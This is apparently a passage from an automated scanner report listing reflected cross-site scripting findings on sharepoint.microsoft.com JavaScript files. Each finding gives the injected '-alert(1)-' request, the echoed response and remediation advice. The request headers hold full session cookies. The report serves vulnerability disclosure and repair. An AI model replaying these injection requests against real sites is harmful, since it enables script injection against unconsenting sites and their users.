if(!window.WAX_RI||WAX_RI('/_layouts/sp.js?rev=JmFQMEfR9bYx6G6TrWzSLw%3D%3D&29636'-alert(1)-'e9c588154e=1',waxMagic))waxMagic();

1.22. http://sharepoint.microsoft.com/_layouts/sp.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ebde1'-alert(1)-'555525404b4 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.js?rev=JmFQMEfR9bYx6G6TrWzSLw%3D%3Debde1'-alert(1)-'555525404b4 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 389534
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:00 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:59 GMT

var waxMagic=function(){
ULSdih=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.js";return o;};

Type.registerNamespace("SP");SP.PermissionKind=function(
...[SNIP]...
undefined"&&Sys&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.js?rev=JmFQMEfR9bYx6G6TrWzSLw%3D%3Debde1'-alert(1)-'555525404b4',waxMagic))waxMagic();

1.23. http://sharepoint.microsoft.com/_layouts/sp.ribbon.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.ribbon.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b5c4'-alert(1)-'99fa3ff5a0a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.ribbon.js?rev=F%2BUEJ66rbXzSvpf7nN69wQ%3D%3D&5b5c4'-alert(1)-'99fa3ff5a0a=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 212760
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:25 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:24 GMT

var waxMagic=function(){
if(typeof(ribbon)=='undefined')ribbon=undefined;
ULS04Z=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.Ribbon.js";return o;};
D
...[SNIP]...
fyScriptLoadedAndExecuteWaitingJobs("sp.ribbon.js");SP.Ribbon.TrackTabPageComponent.registerWithPageManager();
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.ribbon.js?rev=F%2BUEJ66rbXzSvpf7nN69wQ%3D%3D&5b5c4'-alert(1)-'99fa3ff5a0a=1',waxMagic))waxMagic();

1.24. http://sharepoint.microsoft.com/_layouts/sp.ribbon.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.ribbon.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 827f4'-alert(1)-'d0e186a3edb was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.ribbon.js?rev=F%2BUEJ66rbXzSvpf7nN69wQ%3D%3D827f4'-alert(1)-'d0e186a3edb HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 212757
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:20 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:20 GMT

var waxMagic=function(){
if(typeof(ribbon)=='undefined')ribbon=undefined;
ULS04Z=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.Ribbon.js";return o;};
D
...[SNIP]...
ifyScriptLoadedAndExecuteWaitingJobs("sp.ribbon.js");SP.Ribbon.TrackTabPageComponent.registerWithPageManager();
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.ribbon.js?rev=F%2BUEJ66rbXzSvpf7nN69wQ%3D%3D827f4'-alert(1)-'d0e186a3edb',waxMagic))waxMagic();

1.25. http://sharepoint.microsoft.com/_layouts/sp.runtime.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.runtime.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f87b'-alert(1)-'aae618a98a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.runtime.js?rev=9sKdsC9N6p2BiRk3313M7Q%3D%3D&2f87b'-alert(1)-'aae618a98a5=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 68957
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:01 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:00 GMT

var waxMagic=function(){
ULSnd3=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.Runtime.js";return o;};

Type.registerNamespace("SP");SP.DateTimeKind=fun
...[SNIP]...
Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.runtime.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.runtime.js?rev=9sKdsC9N6p2BiRk3313M7Q%3D%3D&2f87b'-alert(1)-'aae618a98a5=1',waxMagic))waxMagic();

1.26. http://sharepoint.microsoft.com/_layouts/sp.runtime.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.runtime.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e8a84'-alert(1)-'470195b6182 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.runtime.js?rev=9sKdsC9N6p2BiRk3313M7Q%3D%3De8a84'-alert(1)-'470195b6182 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 68954
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:56 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:56 GMT

var waxMagic=function(){
ULSnd3=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.Runtime.js";return o;};

Type.registerNamespace("SP");SP.DateTimeKind=fun
...[SNIP]...
&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.runtime.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.runtime.js?rev=9sKdsC9N6p2BiRk3313M7Q%3D%3De8a84'-alert(1)-'470195b6182',waxMagic))waxMagic();

1.27. http://sharepoint.microsoft.com/_layouts/sp.ui.dialog.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.ui.dialog.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload beec0'-alert(1)-'5b06df7b2ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.ui.dialog.js?rev=IuXtJ2CrScK6oX4zOTTy%2BA%3D%3D&beec0'-alert(1)-'5b06df7b2ca=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 34420
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:59 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:58 GMT

var waxMagic=function(){
ULSaKF=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.UI.Dialog.js";return o;};

Type.registerNamespace("SP.UI");SP.UI.DialogRe
...[SNIP]...
plication&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.ui.dialog.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.ui.dialog.js?rev=IuXtJ2CrScK6oX4zOTTy%2BA%3D%3D&beec0'-alert(1)-'5b06df7b2ca=1',waxMagic))waxMagic();

1.28. http://sharepoint.microsoft.com/_layouts/sp.ui.dialog.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.ui.dialog.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b00f'-alert(1)-'da5ccae2563 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.ui.dialog.js?rev=IuXtJ2CrScK6oX4zOTTy%2BA%3D%3D5b00f'-alert(1)-'da5ccae2563 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 34417
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:54 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:54 GMT

var waxMagic=function(){
ULSaKF=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.UI.Dialog.js";return o;};

Type.registerNamespace("SP.UI");SP.UI.DialogRe
...[SNIP]...
pplication&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.ui.dialog.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.ui.dialog.js?rev=IuXtJ2CrScK6oX4zOTTy%2BA%3D%3D5b00f'-alert(1)-'da5ccae2563',waxMagic))waxMagic();

2. Cross-domain script include  previous
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


2.1. http://sharepoint.microsoft.com/businessproductivity/en-us/GetStarted/Pages/how-to-buy.aspx  previous  next

Summary

Severity:   Information
